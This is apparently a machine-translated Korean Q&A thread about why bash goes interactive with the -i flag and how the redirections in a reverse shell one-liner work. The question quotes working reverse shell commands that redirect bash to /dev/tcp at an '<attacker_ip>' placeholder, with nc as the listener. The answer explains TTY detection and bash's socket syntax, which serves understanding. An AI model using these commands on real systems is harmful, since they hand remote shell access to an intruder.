리디렉션 시 Bash 대화형 모드

리디렉션 시 Bash 대화형 모드

bash에 관해 두 가지 질문이 있습니다. 저는 역포탄과 -i깃발 작업을 하고 있습니다. 이 작업을 수행하면 bash -i > /dev/tcp/ip/port 2>&1 0>&1서버 시스템에 대화형 셸이 생기고 nc -l포트를 통해 캡처됩니다. 하지만 해당 플래그를 입력하지 않으면 -i로그인이 아닌 비대화형 쉘이 생성됩니다. 이는 지금까지 예상된 동작입니다. 그러나 로컬 bash로 실행하면 bash -i마치 대화형이 기본 모드인 것처럼 두 번 모두 대화형 새 셸을 얻습니다. bash 없이 리디렉션할 때 -i대화형이 아닌데 로컬 bash는 왜 그런가요 ?

리디렉션에 대한 두 번째 질문과 관련하여 다음 라이너를 보았지만 여기에 관련된 리디렉션을 잘 이해하지 못합니다.

/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1

내가 아는 한, 이는 bash의 stdout을 /dev/tcp...로 리디렉션한 다음 stdout의 위치를 ​​stdin( 0<&1)으로 받아들이고 stderr을 stdout(2>&1)으로 리디렉션합니다. 이것이 리버스 쉘을 어떻게 구현합니까? /dev/tcp..의 내용을 stdin으로 리디렉션하고 stdout과 오류를 그곳으로 리디렉션하면 안 되나요?

감사해요!

답변1

대화형 쉘은 bash의 stdin 및 stderr이 터미널 장치에 연결될 때( isatty()함수 또는 일부 동등한 함수로 감지됨) 기본 동작입니다. 파이프(예: cat | bash)를 통하지 않고 로컬로 무언가를 입력하는 경우 TTY이며 기본값은 대화형입니다. 소켓에서 리디렉션하는 경우 TTY가 아니며 대화형 모드로 전환하려면 해당 플래그가 필요합니다.

리디렉션으로 또는 리디렉션에서 리디렉션할 때 /dev/tcp/<ip>/<port>실제로 아래에 있는 파일을 사용하는 것이 아닙니다 /dev. ( 시도하면 ls /dev/tcp얻을 수 있습니다 No such file or directory.) 이것은 실제로 허용되는 특수 구문으로 , 로컬 파일 열기를 수행하는 대신 지정된 bash소켓을 열게 합니다 . 그리고 소켓에는 파일처럼 "읽기" 또는 "쓰기" 모드가 없으므로 fd 1이 소켓인 경우 구문 및 은 동일합니다.ipport0<&10>&1

관련 정보